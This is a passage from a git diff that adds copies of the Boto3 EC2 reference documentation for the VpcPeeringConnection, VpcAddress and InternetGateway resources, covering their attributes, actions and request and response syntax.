IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + +expiration_time + +* _(datetime) --_ + + The time that an unaccepted VPC peering connection will expire. + + +requester_vpc_info + +* _(dict) --_ + + Information about the requester VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + +status + +* _(dict) --_ + + The status of the VPC peering connection. + + * **Code** _(string) --_ + + The status of the VPC peering connection. + + * **Message** _(string) --_ + + A message that provides more information about the status, if applicable. + + +tags + +* _(list) --_ + + Any tags assigned to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_peering_connection_id + +* _(string) --_ + + The ID of the VPC peering connection. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +accepter_vpc + +(Vpc) The related accepter_vpc if set, otherwise None. + +requester_vpc + +(Vpc) The related requester_vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +accept(kwargs_) + +Accept a VPC peering connection request. To accept a request, the VPC peering connection must be in the pending-acceptance state, and you must be the owner of the peer VPC. Use DescribeVpcPeeringConnections to view your outstanding VPC peering connection requests. + +For an inter-Region VPC peering connection request, you must accept the VPC peering connection in the Region of the accepter VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AcceptVpcPeeringConnection) + +**Request Syntax** + +response = vpc_peering_connection.accept( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpcPeeringConnection': { + 'AccepterVpcInfo': { + 'CidrBlock': 'string', + 'Ipv6CidrBlockSet': [ + { + 'Ipv6CidrBlock': 'string' + }, + ], + 'CidrBlockSet': [ + { + 'CidrBlock': 'string' + }, + ], + 'OwnerId': 'string', + 'PeeringOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + 'VpcId': 'string', + 'Region': 'string' + }, + 'ExpirationTime': datetime(2015, 1, 1), + 'RequesterVpcInfo': { + 'CidrBlock': 'string', + 'Ipv6CidrBlockSet': [ + { + 'Ipv6CidrBlock': 'string' + }, + ], + 'CidrBlockSet': [ + { + 'CidrBlock': 'string' + }, + ], + 'OwnerId': 'string', + 'PeeringOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + 'VpcId': 'string', + 'Region': 'string' + }, + 'Status': { + 'Code': 'initiating-request'|'pending-acceptance'|'active'|'deleted'|'rejected'|'failed'|'expired'|'provisioning'|'deleting', + 'Message': 'string' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcPeeringConnectionId': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + * **VpcPeeringConnection** _(dict) --_ + + Information about the VPC peering connection. + + * **AccepterVpcInfo** _(dict) --_ + + Information about the accepter VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + * **ExpirationTime** _(datetime) --_ + + The time that an unaccepted VPC peering connection will expire. + + * **RequesterVpcInfo** _(dict) --_ + + Information about the requester VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + * **Status** _(dict) --_ + + The status of the VPC peering connection. + + * **Code** _(string) --_ + + The status of the VPC peering connection. + + * **Message** _(string) --_ + + A message that provides more information about the status, if applicable. + + * **Tags** _(list) --_ + + Any tags assigned to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection. + + +delete(kwargs_) + +Deletes a VPC peering connection. Either the owner of the requester VPC or the owner of the accepter VPC can delete the VPC peering connection if it's in the active state. The owner of the requester VPC can delete a VPC peering connection in the pending-acceptance state. You cannot delete a VPC peering connection that's in the failed state. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVpcPeeringConnection) + +**Request Syntax** + +response = vpc_peering_connection.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_vpc_peering_connections()](#EC2.Client.describe_vpc_peering_connections "EC2.Client.describe_vpc_peering_connections") to update the attributes of the VpcPeeringConnection resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc_peering_connection.load() + +Returns + +None + +reject(kwargs_) + +Rejects a VPC peering connection request. The VPC peering connection must be in the pending-acceptance state. Use the DescribeVpcPeeringConnections request to view your outstanding VPC peering connection requests. To delete an active VPC peering connection, or to delete a VPC peering connection request that you initiated, use DeleteVpcPeeringConnection . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RejectVpcPeeringConnection) + +**Request Syntax** + +response = vpc_peering_connection.reject( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +reload() + +Calls [EC2.Client.describe_vpc_peering_connections()](#EC2.Client.describe_vpc_peering_connections "EC2.Client.describe_vpc_peering_connections") to update the attributes of the VpcPeeringConnection resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc_peering_connection.reload() + +Returns + +None + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_exists(kwargs_) + +Waits until this VpcPeeringConnection is exists. This method calls EC2.Waiter.vpc_peering_connection_exists.wait() which polls. [EC2.Client.describe_vpc_peering_connections()](#EC2.Client.describe_vpc_peering_connections "EC2.Client.describe_vpc_peering_connections") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection.wait_until_exists( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * accepter-vpc-info.cidr-block - The IPv4 CIDR block of the accepter VPC. + * accepter-vpc-info.owner-id - The AWS account ID of the owner of the accepter VPC. + * accepter-vpc-info.vpc-id - The ID of the accepter VPC. + * expiration-time - The expiration date and time for the VPC peering connection. + * requester-vpc-info.cidr-block - The IPv4 CIDR block of the requester's VPC. + * requester-vpc-info.owner-id - The AWS account ID of the owner of the requester VPC. + * requester-vpc-info.vpc-id - The ID of the requester VPC. + * status-code - The status of the VPC peering connection (pending-acceptance | failed | expired | provisioning | active | deleting | deleted | rejected ). + * status-message - A message that provides more information about the status of the VPC peering connection, if applicable. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-peering-connection-id - The ID of the VPC peering connection. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Returns + +None + +[VpcAddress](#id1258) +------------------------------------------------------------------ + +_class_ EC2.VpcAddress(_allocation_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) VpcAddress: + +import boto3 + +ec2 = boto3.resource('ec2') +vpc_address = ec2.VpcAddress('allocation_id') + +Parameters + +**allocation_id** (_string_) -- The VpcAddress's allocation_id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [allocation_id](#EC2.VpcAddress.allocation_id "EC2.VpcAddress.allocation_id") + +These are the resource's available attributes: + +* [association_id](#EC2.VpcAddress.association_id "EC2.VpcAddress.association_id") +* [carrier_ip](#EC2.VpcAddress.carrier_ip "EC2.VpcAddress.carrier_ip") +* [customer_owned_ip](#EC2.VpcAddress.customer_owned_ip "EC2.VpcAddress.customer_owned_ip") +* [customer_owned_ipv4_pool](#EC2.VpcAddress.customer_owned_ipv4_pool "EC2.VpcAddress.customer_owned_ipv4_pool") +* [domain](#EC2.VpcAddress.domain "EC2.VpcAddress.domain") +* [instance_id](#EC2.VpcAddress.instance_id "EC2.VpcAddress.instance_id") +* [network_border_group](#EC2.VpcAddress.network_border_group "EC2.VpcAddress.network_border_group") +* [network_interface_id](#EC2.VpcAddress.network_interface_id "EC2.VpcAddress.network_interface_id") +* [network_interface_owner_id](#EC2.VpcAddress.network_interface_owner_id "EC2.VpcAddress.network_interface_owner_id") +* [private_ip_address](#EC2.VpcAddress.private_ip_address "EC2.VpcAddress.private_ip_address") +* [public_ip](#EC2.VpcAddress.public_ip "EC2.VpcAddress.public_ip") +* [public_ipv4_pool](#EC2.VpcAddress.public_ipv4_pool "EC2.VpcAddress.public_ipv4_pool") +* [tags](#EC2.VpcAddress.tags "EC2.VpcAddress.tags") + +These are the resource's available references: + +* [association](#EC2.VpcAddress.association "EC2.VpcAddress.association") + +These are the resource's available actions: + +* [associate()](#EC2.VpcAddress.associate "EC2.VpcAddress.associate") +* [get_available_subresources()](#EC2.VpcAddress.get_available_subresources "EC2.VpcAddress.get_available_subresources") +* [load()](#EC2.VpcAddress.load "EC2.VpcAddress.load") +* [release()](#EC2.VpcAddress.release "EC2.VpcAddress.release") +* [reload()](#EC2.VpcAddress.reload "EC2.VpcAddress.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +allocation_id + +_(string)_ The VpcAddress's allocation_id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.VpcAddress.load "EC2.VpcAddress.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +association_id + +* _(string) --_ + + The ID representing the association of the address with an instance in a VPC. + + +carrier_ip + +* _(string) --_ + + The carrier IP address associated. This option is only available for network interfaces which reside in a subnet in a Wavelength Zone (for example an EC2 instance). + + +customer_owned_ip + +* _(string) --_ + + The customer-owned IP address. + + +customer_owned_ipv4_pool + +* _(string) --_ + + The ID of the customer-owned address pool. + + +domain + +* _(string) --_ + + Indicates whether this Elastic IP address is for use with instances in EC2-Classic (standard ) or instances in a VPC (vpc ). + + +instance_id + +* _(string) --_ + + The ID of the instance that the address is associated with (if any). + + +network_border_group + +* _(string) --_ + + The name of the unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses. + + +network_interface_id + +* _(string) --_ + + The ID of the network interface. + + +network_interface_owner_id + +* _(string) --_ + + The ID of the AWS account that owns the network interface. + + +private_ip_address + +* _(string) --_ + + The private IP address associated with the Elastic IP address. + + +public_ip + +* _(string) --_ + + The Elastic IP address. + + +public_ipv4_pool + +* _(string) --_ + + The ID of an address pool. + + +tags + +* _(list) --_ + + Any tags assigned to the Elastic IP address. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +association + +(NetworkInterfaceAssociation) The related association if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +associate(kwargs_) + +Associates an Elastic IP address, or carrier IP address (for instances that are in subnets in Wavelength Zones) with an instance or a network interface. Before you can use an Elastic IP address, you must allocate it to your account. + +An Elastic IP address is for use in either the EC2-Classic platform or in a VPC. For more information, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +[EC2-Classic, VPC in an EC2-VPC-only account] If the Elastic IP address is already associated with a different instance, it is disassociated from that instance and associated with the specified instance. If you associate an Elastic IP address with an instance that has an existing Elastic IP address, the existing address is disassociated from the instance, but remains allocated to your account. + +[VPC in an EC2-Classic account] If you don't specify a private IP address, the Elastic IP address is associated with the primary IP address. If the Elastic IP address is already associated with a different instance or a network interface, you get an error unless you allow reassociation. You cannot associate an Elastic IP address with an instance or network interface that has an existing Elastic IP address. + +[Subnets in Wavelength Zones] You can associate an IP address from the telecommunication carrier to the instance or network interface. + +You cannot associate an Elastic IP address with an interface in a different network border group. + +Warning + +This is an idempotent operation. If you perform the operation more than once, Amazon EC2 doesn't return an error, and you may be charged for each time the Elastic IP address is remapped to the same instance. For more information, see the _Elastic IP Addresses_ section of [Amazon EC2 Pricing](https://aws.amazon.com/ec2/pricing/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateAddress) + +**Request Syntax** + +response = vpc_address.associate( + InstanceId='string', + PublicIp='string', + AllowReassociation=True|False, + DryRun=True|False, + NetworkInterfaceId='string', + PrivateIpAddress='string' +) + +Parameters + +* **InstanceId** (_string_) -- The ID of the instance. This is required for EC2-Classic. For EC2-VPC, you can specify either the instance ID or the network interface ID, but not both. The operation fails if you specify an instance ID unless exactly one network interface is attached. +* **PublicIp** (_string_) -- The Elastic IP address to associate with the instance. This is required for EC2-Classic. +* **AllowReassociation** (_boolean_) -- [EC2-VPC] For a VPC in an EC2-Classic account, specify true to allow an Elastic IP address that is already associated with an instance or network interface to be reassociated with the specified instance or network interface. Otherwise, the operation fails. In a VPC in an EC2-VPC-only account, reassociation is automatic, therefore you can specify false to ensure the operation fails if the Elastic IP address is already associated with another resource. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceId** (_string_) -- + + [EC2-VPC] The ID of the network interface. If the instance has more than one network interface, you must specify a network interface ID. + + For EC2-VPC, you can specify either the instance ID or the network interface ID, but not both. + +* **PrivateIpAddress** (_string_) -- [EC2-VPC] The primary or secondary private IP address to associate with the Elastic IP address. If no private IP address is specified, the Elastic IP address is associated with the primary private IP address. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AssociationId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **AssociationId** _(string) --_ + + [EC2-VPC] The ID that represents the association of the Elastic IP address with an instance. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_addresses()](#EC2.Client.describe_addresses "EC2.Client.describe_addresses") to update the attributes of the VpcAddress resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc_address.load() + +Returns + +None + +release(kwargs_) + +Releases the specified Elastic IP address. + +[EC2-Classic, default VPC] Releasing an Elastic IP address automatically disassociates it from any instance that it's associated with. To disassociate an Elastic IP address without releasing it, use DisassociateAddress . + +[Nondefault VPC] You must use DisassociateAddress to disassociate the Elastic IP address before you can release it. Otherwise, Amazon EC2 returns an error (InvalidIPAddress.InUse ). + +After releasing an Elastic IP address, it is released to the IP address pool. Be sure to update your DNS records and any servers or devices that communicate with the address. If you attempt to release an Elastic IP address that you already released, you'll get an AuthFailure error if the address is already allocated to another AWS account. + +[EC2-VPC] After you release an Elastic IP address for use in a VPC, you might be able to recover it. For more information, see AllocateAddress . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReleaseAddress) + +**Request Syntax** + +response = vpc_address.release( + PublicIp='string', + NetworkBorderGroup='string', + DryRun=True|False +) + +Parameters + +* **PublicIp** (_string_) -- [EC2-Classic] The Elastic IP address. Required for EC2-Classic. +* **NetworkBorderGroup** (_string_) -- + + The set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses. + + If you provide an incorrect network border group, you will receive an InvalidAddress.NotFound error. For more information, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html) . + + Note + + You cannot use a network border group with EC2 Classic. If you attempt this operation on EC2 classic, you will receive an InvalidParameterCombination error. For more information, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html) . + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reload() + +Calls [EC2.Client.describe_addresses()](#EC2.Client.describe_addresses "EC2.Client.describe_addresses") to update the attributes of the VpcAddress resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc_address.reload() + +Returns + +None + +[EBS](ebs.html "previous chapter (use the left arrow)") + +[EC2InstanceConnect](ec2-instance-connect.html "next chapter (use the right arrow)") + +### Navigation + +* [index](../../genindex.html "General Index") +* [modules](../../py-modindex.html "Python Module Index") | +* [next](ec2-instance-connect.html "EC2InstanceConnect") | +* [previous](ebs.html "EBS") | +* [Boto3 Docs 1.16.47 documentation](../../index.html) » +* [Available services](index.html) » + +const shortbread = AWSCShortbread({ domain: ".amazonaws.com", }); shortbread.checkForCookieConsent(); [Privacy](https://aws.amazon.com/privacy) | [Site Terms](https://aws.amazon.com/terms) | [Cookie preferences](#) | © Copyright 2020, Amazon Web Services, Inc. Created using [Sphinx](https://sphinx.pocoo.org/). diff --git a/_posts/01Cloud/01AWS/0boto3code/ec2-9InternetGateway.md b/_posts/01Cloud/01AWS/0boto3code/ec2-9InternetGateway.md new file mode 100644 index 00000000000..2a745671a55 --- /dev/null +++ b/_posts/01Cloud/01AWS/0boto3code/ec2-9InternetGateway.md @@ -0,0 +1,13740 @@ + + +[toc] + + +--- + +# EC2 - client + +Table of Contents + +- EC2 + - Client + - Paginators + - Waiters + - Service Resource + - ClassicAddress + - DhcpOptions + - Image + - Instance + - InternetGateway + - KeyPair + - KeyPairInfo + - NetworkAcl + - NetworkInterface + - NetworkInterfaceAssociation + - PlacementGroup + - Route e) + - RouteTable + - RouteTableAssociation + - SecurityGroup + - Snapshot + - Subnet + - Tag + - Volume + - Vpc + - VpcPeeringConnection + - VpcAddress + +--- + + +# EC2 - InternetGateway + +_class_ EC2.InternetGateway(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) InternetGateway: + +import boto3 + +ec2 = boto3.resource('ec2') +internet_gateway = ec2.InternetGateway('id') + +Parameters + +**id** (_string_) -- The InternetGateway's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.InternetGateway.id "EC2.InternetGateway.id") + +These are the resource's available attributes: + +- [attachments](#EC2.InternetGateway.attachments "EC2.InternetGateway.attachments") +- [internet_gateway_id](#EC2.InternetGateway.internet_gateway_id "EC2.InternetGateway.internet_gateway_id") +- [owner_id](#EC2.InternetGateway.owner_id "EC2.InternetGateway.owner_id") +- [tags](#EC2.InternetGateway.tags "EC2.InternetGateway.tags") + +These are the resource's available actions: + +- [attach_to_vpc()](#EC2.InternetGateway.attach_to_vpc "EC2.InternetGateway.attach_to_vpc") +- [create_tags()](#EC2.InternetGateway.create_tags "EC2.InternetGateway.create_tags") +- [delete()](#EC2.InternetGateway.delete "EC2.InternetGateway.delete") +- [detach_from_vpc()](#EC2.InternetGateway.detach_from_vpc "EC2.InternetGateway.detach_from_vpc") +- [get_available_subresources()](#EC2.InternetGateway.get_available_subresources "EC2.InternetGateway.get_available_subresources") +- [load()](#EC2.InternetGateway.load "EC2.InternetGateway.load") +- [reload()](#EC2.InternetGateway.reload "EC2.InternetGateway.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The InternetGateway's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.InternetGateway.load "EC2.InternetGateway.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +attachments + +- _(list) --_ + + Any VPCs attached to the internet gateway. + + - _(dict) --_ + + Describes the attachment of a VPC to an internet gateway or an egress-only internet gateway. + + - **State** _(string) --_ + + The current state of the attachment. For an internet gateway, the state is available when attached to a VPC; otherwise, this value is not returned. + + - **VpcId** _(string) --_ + + The ID of the VPC. + + +internet_gateway_id + +- _(string) --_ + + The ID of the internet gateway. + + +owner_id + +- _(string) --_ + + The ID of the AWS account that owns the internet gateway. + + +tags + +- _(list) --_ + + Any tags assigned to the internet gateway. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +attach_to_vpc(kwargs_) + +Attaches an internet gateway or a virtual private gateway to a VPC, enabling connectivity between the internet and the VPC. For more information about your VPC and internet gateway, see the [Amazon Virtual Private Cloud User Guide](https://docs.aws.amazon.com/vpc/latest/userguide/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachInternetGateway) + +**Request Syntax** + +response = internet_gateway.attach_to_vpc( + DryRun=True|False, + VpcId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + + +Returns + +None + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User 